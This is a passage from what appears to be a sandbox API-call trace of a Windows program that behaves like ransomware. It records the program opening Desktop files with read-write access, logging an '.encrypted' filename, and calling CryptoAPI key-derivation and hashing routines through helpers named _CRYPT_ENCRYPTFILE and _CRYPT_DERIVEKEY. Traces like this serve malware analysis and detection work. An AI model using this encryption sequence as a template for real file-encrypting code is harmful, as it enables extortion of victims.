hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1368) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.845] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x558, lpOverlapped=0x0) returned 1 [0022.845] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x558, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1368) returned 1 [0022.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\n", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0022.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\n", cchWideChar=58, lpMultiByteStr=0xe8f40514f0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\n", lpUsedDefaultChar=0x0) returned 58 [0022.845] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051770*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x39, lpOverlapped=0x0) returned 1 [0022.845] CloseHandle (hObject=0x1fc) returned 1 [0022.847] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.847] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.848] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.848] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.848] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.848] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.848] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.849] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.849] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.849] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.849] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0022.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3", cchWideChar=42, lpMultiByteStr=0xe8f404bf10, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3", lpUsedDefaultChar=0x0) returned 42 [0022.851] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\jmyon8-h.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0022.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0xe8f4069f50, cchWideChar=42 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3") returned 42 [0022.851] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.852] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.852] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.852] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.852] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.852] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.852] CloseHandle (hObject=0x1fc) returned 1 [0022.853] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.853] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.853] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.854] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.854] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.854] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.854] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.854] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.854] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.855] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.855] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.855] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.855] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.855] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.856] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.856] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.856] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.857] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.857] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 